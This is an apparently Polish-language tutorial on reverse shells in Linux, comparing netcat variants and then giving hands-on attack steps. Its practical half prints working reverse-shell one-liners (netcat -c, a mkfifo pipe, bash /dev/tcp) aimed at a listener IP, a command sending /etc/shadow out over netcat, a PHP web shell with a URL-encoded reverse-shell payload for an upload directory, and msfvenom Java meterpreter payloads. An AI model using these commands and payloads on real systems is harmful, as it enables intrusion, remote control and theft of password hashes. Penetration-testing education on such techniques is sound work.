Co to takiego jest i do czego służy Reverse Shell?
Reverse shell (czyli odwrócone połączenie powłoki) to technika często wykorzystywana w dziedzinie cyberbezpieczeństwa. Polega ona na ustanowieniu połączenia zdalnego z systemem komputerowym i zdalnym uruchomieniu powłoki (w wypadku Linuxa Sh/Bash). W tradycyjnym połączeniu zdalnym, atakujący nawiązuje połączenie z ofiarą. Natomiast w przypadku Reverse Shell, to ofiara nawiązuje połączenie z atakującym. Zajmiemy się głównie Reverse Shellem.
Jakich programów do tego potrzebuje?
Zajmiemy się tutaj Linuxem. Opisze programy na ten system, chociaż na Windowsa też jest do tego program o nazwie Nc. Niestety wersji Nc na Linuxa jest dosyć dużo i mogą wprowadzić pewne zamieszanie:
GNU Netcat (netcat-traditional)
Ta wersja jest najbardziej - jakby to powiedzieć - pierwotna. Program został napisany przez osobę przedstawiającą się jako Hobbit. Ciekawostką jest to, że nie działa wyświetlenie helpa przez wpisanie nc –help. Spotykany jest tutaj dosyć niski numer wersji (u mnie na rok 2023 - [v1.10-47]). W odróżnieniu od OpenBSD Netcat (netcat-openbsd) ta wersja posiada przełączniki -c lub -e, pozwalające uruchomić i przekierować Basha, Sh itd. Pakiet, który jest w Debianie nazywa się netcat-traditional. Po wykonaniu komendy:
nc -help
Dostajemy mniej więcej taki wynik:
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
Port z pakietu Nmap posiada wysoki numer (7.70) i działa wpisanie nc –help. Po tym też można poznać, jaka to jest wersja, chociaż nie tylko.
OpenBSD Netcat (netcat-openbsd)
Ta wersja została przepisana z wersji tradycyjnej, dodano parę funkcji, ale niestety usunięto przełączniki -c i -e. Ma to związek z tym, że ta implementacja jest jest silnie związana z bezpieczeństwem. Dodano bardzo przydatny przełącznik -N, który się przydaje przy przesyłaniu plików. Pakiet pod Debiana nazywa się netcat-openbsd. Po wykonaniu komendy (–help do końca nie działa) widzimy:
nc -help
szikers@opensuse15-test1:~> nc -help
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
[-m minttl] [-O length] [-P proxy_username] [-p source_port]
[-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
[-X proxy_protocol] [-x proxy_address[:port]] [destination] [port]
Command Summary:
-4 Use IPv4
-6 Use IPv6
-b Allow broadcast
-C Send CRLF as line-ending
-D Enable the debug socket option
-d Detach from stdin
-F Pass socket fd
-h This help text
-I length TCP receive buffer length
-i interval Delay interval for lines sent, ports scanned
-k Keep inbound sockets open for multiple connects
-l Listen mode, for inbound connects
-M ttl Outgoing TTL / Hop Limit
-m minttl Minimum incoming TTL / Hop Limit
-N Shutdown the network socket after EOF on stdin
-n Suppress name/port resolutions
-O length TCP send buffer length
-P proxyuser Username for proxy authentication
-p port Specify local port for remote connects
-q secs quit after EOF on stdin and delay of secs
-r Randomize remote ports
-S Enable the TCP MD5 signature option
-s source Local source address
-T keyword TOS value
-t Answer TELNET negotiation
-U Use UNIX domain socket
-u UDP mode
-V rtable Specify alternate routing table
-v Verbose
-W recvlimit Terminate after receiving a number of packets
-w timeout Timeout for connects and final net reads
-X proto Proxy protocol: "4", "5" (SOCKS) or "connect"
-x addr[:port] Specify proxy address and port
-Z DCCP mode
-z Zero-I/O mode [used for scanning]
Port numbers can be individual or ranges: lo-hi [inclusive]
Nmap-ncat (od autora Network Mapper)
Żeby jeszcze bardziej namieszać, jest jeszcze jest Ncat od osoby, która napisała program Nmap (Network Mapper), czyli od Gordona Lyona. Pogram charakteryzuje się dosyć wysoką wersją (w porównaniu do pierwowzoru). Na szczęście (albo i nie) są przełączniki -c i -e pozwalające uruchomić Bash lub inną konsolę. Na Redhacie pakiet nazywa się nmap-ncat, zaś na Debianie po prostu ncat. Zauważyłem, że na Debianie możemy mieć dwa Netcaty. Jeżeli są dwa, to ten pierwotny nazywa nc.traditional, drugi zaś normalnie nc. Help naszego programu od Nmapa wygląda tak:
nc --help
Ncat 7.70 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]
Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
-4 Use IPv4 only
-6 Use IPv6 only
-U, --unixsock Use Unix domain sockets only
-C, --crlf Use CRLF for EOL sequence
-c, --sh-exec <command> Executes the given command via /bin/sh
-e, --exec <command> Executes the given command
--lua-exec <filename> Executes the given Lua script
-g hop1[,hop2,...] Loose source routing hop points (8 max)
-G <n> Loose source routing hop pointer (4, 8, 12, ...)
-m, --max-conns <n> Maximum <n> simultaneous connections
-h, --help Display this help screen
-d, --delay <time> Wait between read/writes
-o, --output <filename> Dump session data to a file
-x, --hex-dump <filename> Dump session data as hex to a file
-i, --idle-timeout <time> Idle read/write timeout
-p, --source-port port Specify source port to use
-s, --source addr Specify source address to use (doesn't affect -l)
-l, --listen Bind and listen for incoming connections
-k, --keep-open Accept multiple connections in listen mode
-n, --nodns Do not resolve hostnames via DNS
-t, --telnet Answer Telnet negotiations
-u, --udp Use UDP instead of default TCP
--sctp Use SCTP instead of default TCP
-v, --verbose Set verbosity level (can be used several times)
-w, --wait <time> Connect timeout
-z Zero-I/O mode, report connection status only
--append-output Append rather than clobber specified output files
--send-only Only send data, ignoring received; quit on EOF
--recv-only Only receive data, never send anything
--allow Allow only given hosts to connect to Ncat
--allowfile A file of hosts allowed to connect to Ncat
--deny Deny given hosts from connecting to Ncat
--denyfile A file of hosts denied from connecting to Ncat
--broker Enable Ncat's connection brokering mode
--chat Start a simple Ncat chat server
--proxy <addr[:port]> Specify address of host to proxy through
--proxy-type <type> Specify proxy type ("http" or "socks4" or "socks5")
--proxy-auth <auth> Authenticate with HTTP or SOCKS proxy server
--ssl Connect or listen with SSL
--ssl-cert Specify SSL certificate file (PEM) for listening
--ssl-key Specify SSL private key (PEM) for listening
--ssl-verify Verify trust and domain name of certificates
--ssl-trustfile PEM file containing trusted SSL certificates
--ssl-ciphers Cipherlist containing SSL ciphers to use
--ssl-alpn ALPN protocol list to use.
--version Display Ncat's version information and exit
Jak to jest w praktyce?
Uff, wstęp już przeszliśmy, czas przejść do działania.
Nasłuchiwanie
Na szczęście aby nasłuchiwać, nie trzeba się przejmować z jakiej rodziny jest nc. Użycie tego programu, mimo że z dwóch rodzin, wygląda to podobnie. Później jeszcze opiszę moduł nasłuchujący z Metasploita.
Netcat (tradycyjny i OpenBSD)
Wpisujemy
nc -lvn -p 1337
Pokazuje się komunikat:
Listening on 0.0.0.0 1337
Jeżeli się połączymy to powinniśmy widzieć mniej więcej taką odpowiedź:
Connection received on 172.x.x.xx 37052
Metasploit - moduł exploit(multi/handler)
Włączamy Metasploit i uruchamiamy poniższe komendy:
msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lport 1337
lport => 1337
msf6 exploit(multi/handler) > set lhost eth0
lhost => 172.16.1.89
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.1.89:1337
Jeżeli wszystko poszło dobrze:
msf6 exploit(multi/handler) > [*] Command shell session 2 opened (172.16.1.89:1337 -> 172.16.1.33:58520) at 2023-12-19 18:29:07 +0100
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 shell sparc/bsd 172.16.1.89:1337 -> 172.16.1.33:58520 (172.16.1.33)
msf6 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
Powłoką na Metasploicie nie będziemy się zajmować, podałem tylko przykład jako ciekawostkę. Wróćmy jednak do nc wysyłającego shell.
Wysyłanie
I tutaj zaczynają się niestety schody. Nc Nc w tym wypadku nierówny.
GNU Netcat (netcat-traditional)
Tutaj możemy po prostu tak wysłać konsolę (podobnie jest w nc od Nmapa)
nc 172.16.1.89 1337 -c /bin/bash
Jeżeli wszystko wykonaliśmy poprawnie powinno być połączenie.
connect to [172.16.1.89] from (UNKNOWN) [172.16.1.33] 44962
OpenBSD Netcat (netcat-openbsd)
Tu jest już gorzej. Nc z OpenBSD nie ma przełącznika -c ani -e, co pozwala uruchomić shell, ale na szczęście jest opisane w podręczniku, jak zrobić przekierowanie z Basha (oczywiście ta opcja też działa z nc traditional).
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash 2>&1 | nc 172.16.1.89 1337 > /tmp/f
Mam połączenie, ale i nie mam znaku zachęty
Nie ma sprawy, można to naprawić na parę sposobów. Na konsoli gdzie odbieramy połączenie wklepujemy.
Python
python3 -c 'import pty;pty.spawn("/bin/bash")'
Script
script /dev/null -c /bin/bash
Script started, file is /dev/null
[root@rocky8-test1 ~]#
Polecam ten drugi sposób z uruchomieniem programu Script
Ale skąd te krzaki?
[root@rocky8-test1 ~]# ^[[D^[[D^[[D^[[D
Po wejściu na konsolę, podczas ruszania strzałkami są krzaki. Również po naciśnięciu ctrl+c wychodzi się z konsoli. Jest na to rada. Kiedy uruchamiamy nasz Reverse Shell przez bash -i &> /dev/tcp/172.16.1.89/1337 0>&1, lub podanymi wcześniej sposobami należy pamiętać o wpisaniu script /dev/null -c /bin/bash. Więc kiedy jesteśmy już w konsoli wciskamy ctrl+z (zadanie w tle)
[root@rocky8-test1 ~]# ^Z
[1]+ Zatrzymano nc -lvnp 1337
Następnie:
stty raw -echo; fg
reset xterm
Teraz można dowolnie sterować strzałkami (ctrl+c nie zamyka konsoli):
[root@rocky8-test1 ~]# ^C ^C
Aby polepszyć wygląd i wczytać zmienne można dopisać:
export TERM=xterm-256color
export SHELL=bash
stty rows 44 columns 185
source /etc/skel/.bashrc
Wyszedłem z konsoli, ale nic nie mogę napisać
Spoko, wystarczy że wpiszesz:
stty sane
Na przejętej maszynie nie ma Nc
Nie przejmuj się, możesz Basha użyć do przerzucenia Basha Jednak ta metoda działa już na przejętej maszynie
bash -i &> /dev/tcp/172.16.1.89/1337 0>&1
Co jeszcze mogę zrobić z Nc?
Wysyłanie plików
Możesz przerzucić plik - akurat tutaj polecam Nc w wersji OpenBSD - w ten sposób:
Przejęta maszyna
Jak już wcześniej wspomniałem przełącznik -N działa tylko na Nc z OpenBSD. Po przesłaniu pliku program sam kończy prace. Niestety w przypadku innego - tradycyjnego, z pakietu nmap - trzeba po wysłaniu pliku, wcisnąć ctrl+c aby zakończyć.
cat /etc/shadow | nc -vN 172.16.1.89 1337
Connection to 172.16.1.89 1337 port [tcp/menandmice-dns] succeeded!
Nasza maszyna
nc -lvnp 1337 > shadow
Przekierowanie portów
Tak, tutaj też można użyć Nc, chociaż najlepiej się do tego nadaje Socat. Poniżej przykład użycia:
nc -nlktp 8001 -c "nc 127.0.0.1 8000"
PHP
Załóżmy, że mamy dostęp do jakiegoś serwera, np. o ip 172.16.1.123 gdzie możemy wrzucać pliki z rozszerzeniem php (http://server/uploads/). Naszym celem jest połączyć się stamtąd na naszą maszynę. Można to zrobić w ten sposób:
shell.php
Należy stworzyć plik shell.php:
<?php
echo shell_exec($_REQUEST['cmd']);
?>
Nasłuchiwanie
Włączamy jak zwykle u siebie nasłuchiwanie:
nc -lvp 1337
Payload
Przygotowujemy payload:
php -r '$sock=fsockopen("172.16.1.89",1337);exec("bash <&3 >&3 2>&3");'
Konwertujemy na format URL. Można to zrobić na stronie urlencoder. Wychodzi coś takiego:
php%20-r%20%27%24sock%3Dfsockopen%28%22172.16.1.89%22%2C1337%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
Doklejamy payload do do naszego linku:
http://172.16.1.123/uploads/shell.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22172.16.1.89%22%2C1337%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
Jezeli wszystko przebiegło poprawnie powinniśmy mieć dostęp do Shella.
Inne payloady
Tworzenie Reverse Shella można przeprowadzać ręcznie, ale efektywnym podejściem jest skorzystanie z polecenia msfvenom, dostępnego w ramach wspomnianego wcześniej Metasploita. Poniżej przedstawiam przykład uruchomienia Reverse Shella poprzez Javę. Aby stworzyć odpowiedni payload, skorzystaj z poniższego polecenia:
Metasploit
Tworzenie ładunku
msfvenom --platform java -f jar -p java/meterpreter/reverse_tcp LPORT=1337 LHOST=172.16.1.89 -o shell.jar
Ustawienia na Metasploicie
use exploit/multi/handler
set payload payload/java/shell/reverse_tcp
set lport 1337
Nc
Tworzenie ładunku
msfvenom -p java/shell_reverse_tcp LPORT=1337 -f jar -o shell.jar
Nasłuchiwanie
nc -lvn -p 1337
Odpalamy ładunek na przejętym koncie poniższym poleceniem (Tu już nie jest ważny listener):
/usr/bin/java -jar shell.jar
Trochę jest zmylający parametr LHOST, bo to nie jest do końca localhost, ale w tym przypadku jest to adres gdzie łączy się nasz ładunek.
Koniec
I to już koniec. Mam nadzieję, że wyjaśniłem trochę sprawę. Na koniec bonus w postaci linka do generatora Shelli. Jeżeli masz coś ciekawego do dodania, lub znalazłeś poważny błąd, daj znać.
Zostaw komentarz